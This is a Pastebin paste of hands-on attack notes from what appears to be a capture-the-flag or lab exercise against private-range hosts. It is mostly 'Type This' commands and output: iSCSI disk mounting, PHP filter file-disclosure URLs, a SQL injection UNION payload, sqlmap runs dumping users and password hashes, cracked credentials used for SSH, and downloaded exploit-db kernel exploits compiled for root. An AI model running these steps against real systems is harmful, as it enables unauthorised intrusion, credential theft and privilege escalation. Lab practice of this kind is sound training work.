Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- How to go after 172.31.2.238
- Reference: https://t0w3ntum.com/2017/01/07/baffle/
- ---------------------------------------------------------------
- sudo nmap -sV -p 3260 172.31.2.217
- sudo apt install open-iscsi
- sudo iscsiadm -m discovery -t st -p 172.31.2.217
- sudo iscsiadm -m discovery -t st -p 172.31.2.217:3260
- sudo iscsiadm -m node -p 172.31.2.217 --login
- sudo /bin/bash
- fdisk -l
- ***** look for /dev/sda5 - Linux swap / Solaris *******
- mkdir /mnt/217vm
- mount /dev/sdb /mnt/217vm
- cd /mnt/217vm
- ls
- cat flag1.txt
- file bobsdisk.dsk
- mkdir /media/bobsdisk
- mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
- /mnt/217vm# ls
- cd /media/bobsdisk/
- ls
- cat ToAlice.eml
- file bobsdisk.dsk
- mkdir /media/bobsdisk
- mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
- /mnt/217vm# ls
- cd /media/bobsdisk/
- ls
- cat ToAlice.eml
- file ToAlice.csv.enc
- file bobsdisk.dsk
- pwd
- mkdir /media/bobsdisk
- mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
- ls
- cd /media/bobsdisk/
- ls
- openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
- ls
- cat ToAlice.eml | grep flag
- openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
- ls
- cat ToAlice.eml
- ***** look for supercalifragilisticoespialidoso ******
- openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
- supercalifragilisticoespialidoso
- ls
- cat ToAlice.csv
- -----------------------------------------------------
- Web Path,Reason
- 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
- c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
- flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
- -----------------------------------------------------
- The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL:
- http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/
- -- view source
- Found this string in the source:
- R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
- ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
- bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
- YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
- ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
- YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
- TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
- IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
- ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
- IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
- ------ https://www.base64decode.org/ -------
- ------ Decoded, but didn't find a flag -----
- http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/
- -- view source --
- -- Nothing in source --
- Browsed to the flag link:
- view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag
- -- view source --
- -- Nothing in source --
- Tried a PHP base64 decode with the URL:
- http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php
- http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
- http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php
- ------ https://www.base64decode.org/ -------
- Use the string found here:
- http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
- -------------------------------------------------------------------
- PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
- -------------------------------------------------------------------
- <?php
- defined ('VIAINDEX') or die('Ooooh! So close..');
- ?>
- <h1>Flag</h1>
- <p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
- <img src="trollface.png" />
- <?php
- // Ok, ok. Here's your flag!
- //
- // flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
- //
- // Well done, you're doing great so far!
- // Next step. SHELL!
- //
- //
- // Oh. That flag above? You're gonna need it...
- ?>
- ============================================ Attacking another server because I need a reverse shell =========================================
- ---------------------------------------------------------------------------------------------------------------------------------------------------------
- Attack steps:
- -------------
- Step 1: Ping sweep the target network
- -------------------------------------
- ---------------------------Type This-----------------------------------
- nmap -sP 172.31.2.0/24
- -----------------------------------------------------------------------
- - Found 3 hosts
- 172.31.2.64
- 172.31.2.217
- 172.31.2.238
- Step 2: Port scan target system
- -------------------------------
- ---------------------------Type This-----------------------------------
- nmap -sV 172.31.2.64
- -----------------------------------------------------------------------
- -------------Scan Results--------------------------------------------
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
- 514/tcp filtered shell
- 1037/tcp filtered ams
- 6667/tcp open irc ngircd
- Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
- --------------------------------------------------------------------
- Step 3: Vulnerability Scan the webserver
- ----------------------------------------
- ---------------------------Type This-----------------------------------
- cd ~/toolz/
- rm -rf nikto*
- git clone https://github.com/sullo/nikto.git Nikto2
- cd Nikto2/program
- perl nikto.pl -h 172.31.2.64
- -----------------------------------------------------------------------
- Step 4: Run dirbuster or similar directory bruteforce tool against the target
- -----------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
- perl Webr00t.pl -h 172.31.2.64 -v
- -----------------------------------------------------------------------
- or with dirbuster (dirb)
- ---------------------------Type This-----------------------------------
- git clone https://github.com/v0re/dirb.git
- cd dirb/
- ./configure
- make
- dirb
- ./dirb http://172.31.2.64 wordlists/big.txt
- -----------------------------------------------------------------------
- Step 5: Browse the web site to look for clues
- ---------------------------------------------
- Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
- ..... really didn't get much from here so we just opened the web page in a browser
- http://172.31.2.64/
- .....browsed to the webpage and saw that it pointed to:
- http://172.31.2.64/jabc
- ....clicked on documentation link and found hidden text that pointed to here:
- http://172.31.2.64/jabcd0cs/
- ....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable:
- https://www.exploit-db.com/exploits/32075/
- Tried the sql injection described in exploit-db:
- http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
- http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9
- Tried to run sqlmap against the target
- ---------------------------Type This-----------------------------------
- cd sqlmap-dev/
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql
- -----------------------------------------------------------------------
- FOUND: cracked password 'toor' for user 'drupal7' (sqlmap)
- FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net
- ---------------------------Type This-----------------------------------
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql
- python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql
- -----------------------------------------------------------------------
- username: webmin
- hash: b78aae356709f8c31118ea613980954b
- https://hashkiller.co.uk/md5-decrypter.aspx
- hash: b78aae356709f8c31118ea613980954b
- pass: webmin1980
- ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH.
- ---------------------------Type This-----------------------------------
- ssh -l webmin 172.31.2.64
- webmin1980
- id
- cat /etc/*release
- -----------------------------------------------------------------------
- ....tired of not having a real command shell...
- ---------------------------Type This-----------------------------------
- python -c 'import pty;pty.spawn("/bin/bash")'
- cd /tmp
- pwd
- cat >> exploit.c << out
- **************paste in the content from here *****************
- https://www.exploit-db.com/raw/39166/
- ------ hit enter a few times ------
- ------ then type 'out' ----- this closes the file handle...
- ---------------------------Type This-----------------------------------
- gcc -o boom exploit.c
- ./boom
- -----------------------------------------------------------------------
- ------------exploit failed, damn let's try another one ---------
- ---------------------------Type This-----------------------------------
- cat >> exploit2.c << out
- **************paste in the content from here *****************
- https://www.exploit-db.com/raw/37292/
- out
- gcc -o boom2 exploit2.c
- ./boom2
- id
- ......YEAH - do the happy dance!!!!
- =============================================== Now back to the previous server ==============================================================
Add Comment
Please, Sign In to add comment